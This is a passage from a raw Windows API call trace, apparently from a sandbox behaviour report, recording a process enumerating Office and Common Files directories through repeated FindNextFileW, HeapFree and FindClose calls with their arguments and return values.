dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0256.737] FindNextFileW (in: hFindFile=0x6eb7b0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc8aa06f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc8aa06f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="ENFR", cAlternateFileName="")) returned 1 [0256.737] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0256.737] FindNextFileW (in: hFindFile=0x6eb7b0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c8cf9c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc8aa06f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="ESEN", cAlternateFileName="")) returned 1 [0256.737] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0256.737] FindNextFileW (in: hFindFile=0x6eb7b0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf63a12a0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc91c74d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="FREN", cAlternateFileName="")) returned 1 [0256.738] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0256.738] FindNextFileW (in: hFindFile=0x6eb7b0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27cace65, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27cace65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27cace65, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="MSB1CACH.LEX", cAlternateFileName="")) returned 1 [0256.738] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0256.738] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca8c279f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca8c279f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xca8c279f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA", cAlternateFileName="")) returned 1 [0256.739] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0256.739] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2e918 | out: lpFindFileData=0x3b2e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xca8c279f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca8c279f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdb5e071a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x42d088, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBE7.DLL", cAlternateFileName="")) returned 1 [0256.739] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0256.739] FindNextFileW (in: hFindFile=0x6eb7b0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca8c279f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf24004e4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf24004e4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="VBA7.1", cAlternateFileName="")) returned 0 [0256.739] FindClose (in: hFindFile=0x6eb7b0 | out: hFindFile=0x6eb7b0) returned 1 [0256.739] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0256.739] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52ea133, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x52ea133, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x52ea133, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visio Shared", cAlternateFileName="VISIOS~1")) returned 1 [0256.742] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0256.742] FindNextFileW (in: hFindFile=0x6eb7b0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52ea133, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x62b5b1e, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x62b5b1e, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="Fonts", cAlternateFileName="")) returned 0 [0256.742] FindClose (in: hFindFile=0x6eb7b0 | out: hFindFile=0x6eb7b0) returned 1 [0256.742] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0256.742] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 1 [0256.743] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0256.743] FindNextFileW (in: hFindFile=0x6eb7b0, lpFindFileData=0x3b2e69c | out: lpFindFileData=0x3b2e69c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x37869c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37869c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27d1f57e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x239ec0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FPSRVUTL.DLL", cAlternateFileName="")) returned 1 [0256.743] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0256.743] FindNextFileW (in: hFindFile=0x6eb6b0, lpFindFileData=0x3b2e918 | out: lpFindFileData=0x3b2e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca27806, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xca27806, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 0 [0256.743] FindClose (in: hFindFile=0x6eb6b0 | out: hFindFile=0x6eb6b0) returned 1 [0256.744] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0256.744] FindNextFileW (in: hFindFile=0x6ebc70, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="16", cAlternateFileName="")) returned 0 [0256.744] FindClose (in: hFindFile=0x6ebc70 | out: hFindFile=0x6ebc70) returned 1 [0256.744] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0256.745] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 0 [0256.745] FindClose (in: hFindFile=0x6ebdf0 | out: hFindFile=0x6ebdf0) returned 1 [0256.746] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0256.746] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e16872b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e16872b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e2272ee, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ODBC", cAlternateFileName="")) returned 1 [0256.747] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0256.748] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e2272ee, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e2272ee, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e2272ee, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data Sources", cAlternateFileName="DATASO~1")) returned 0 [0256.748] FindClose (in: hFindFile=0x6ebdf0 | out: hFindFile=0x6ebdf0) returned 1 [0256.748] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0256.748] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf23b4040, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf23b4040, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SYSTEM", cAlternateFileName="")) returned 1 [0256.782] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0256.782] FindNextFileW (in: hFindFile=0x6eb6b0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf23b4040, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf23b4040, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf23b4040, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0 [0256.782] FindClose (in: hFindFile=0x6eb6b0 | out: hFindFile=0x6eb6b0) returned 1 [0256.783] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0256.783] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb8dd674, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ole db", cAlternateFileName="OLEDB~1")) returned 1 [0256.788] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0256.788] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb8dd674, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ole db", cAlternateFileName="OLEDB~1")) returned 0 [0256.788] FindClose (in: hFindFile=0x6ebdf0 | out: hFindFile=0x6ebdf0) returned 1 [0256.788] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0256.788] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf23b4040, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf23b4040, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SYSTEM", cAlternateFileName="")) returned 0 [0256.788] FindClose (in: hFindFile=0x6ec0b0 | out: hFindFile=0x6ec0b0) returned 1 [0256.789] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0256.789] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf21ea38b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf21ea38b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ProgramFilesCommonX86", cAlternateFileName="PROGRA~4")) returned 1 [0256.798] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0256.798] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefcf5b24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41cdbc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6296213, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help", cAlternateFileName="")) returned 1 [0256.849] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0256.849] FindNextFileW (in: hFindFile=0x6ebaf0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e56af1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1e56af1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1e56af1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1031", cAlternateFileName="")) returned 1 [0256.860] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0256.860] FindNextFileW (in: hFindFile=0x6ebaf0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0501a67, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0501a67, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0501a67, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 1 [0256.860] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0256.860] FindNextFileW (in: hFindFile=0x6ebaf0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1ae94c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1ae94c9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1036", cAlternateFileName="")) returned 1 [0256.861] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0256.861] FindNextFileW (in: hFindFile=0x6ebaf0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6296213, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6296213, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6296213, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1040", cAlternateFileName="")) returned 1 [0256.864] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0256.864] FindNextFileW (in: hFindFile=0x6ebaf0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf41cdbc1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41cdbc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf41cdbc1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1041", cAlternateFileName="")) returned 1 [0256.865] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0256.865] FindNextFileW (in: hFindFile=0x6ebaf0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1329a43, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1329a43, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1329a43, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1042", cAlternateFileName="")) returned 1 [0256.866] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0256.866] FindNextFileW (in: hFindFile=0x6ebaf0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1b81e2e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1b81e2e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1b81e2e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1046", cAlternateFileName="")) returned 1 [0256.867] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0256.867] FindNextFileW (in: hFindFile=0x6ebaf0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeff31e88, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff31e88, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1049", cAlternateFileName="")) returned 1 [0256.868] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0256.868] FindNextFileW (in: hFindFile=0x6ebaf0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefcf5b24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefcf5b24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefcf5b24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="2052", cAlternateFileName="")) returned 1 [0256.868] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0256.868] FindNextFileW (in: hFindFile=0x6ebaf0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd68243, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd68243, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="3082", cAlternateFileName="")) returned 1 [0256.869] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0256.869] FindNextFileW (in: hFindFile=0x6ebaf0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd68243, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd68243, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="3082", cAlternateFileName="")) returned 0 [0256.869] FindClose (in: hFindFile=0x6ebaf0 | out: hFindFile=0x6ebaf0) returned 1 [0256.869] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0256.869] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc26f8376, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x28577965, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x28577965, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE16", cAlternateFileName="")) returned 1 [0257.355] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4001ee0 | out: hHeap=0x630000) returned 1 [0257.355] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf63ed72c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf63ed72c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6a7bf80, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="APDEA0~1.DLL")) returned 1 [0257.358] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4001ee0 | out: hHeap=0x630000) returned 1 [0257.358] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2d86b0f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc2d86b0f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc2d86b0f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="en-us", cAlternateFileName="")) returned 1 [0257.359] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4001ee0 | out: hHeap=0x630000) returned 1 [0257.359] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x453c2a7, ftCreationTime.dwHighDateTime=0x1d327e8, 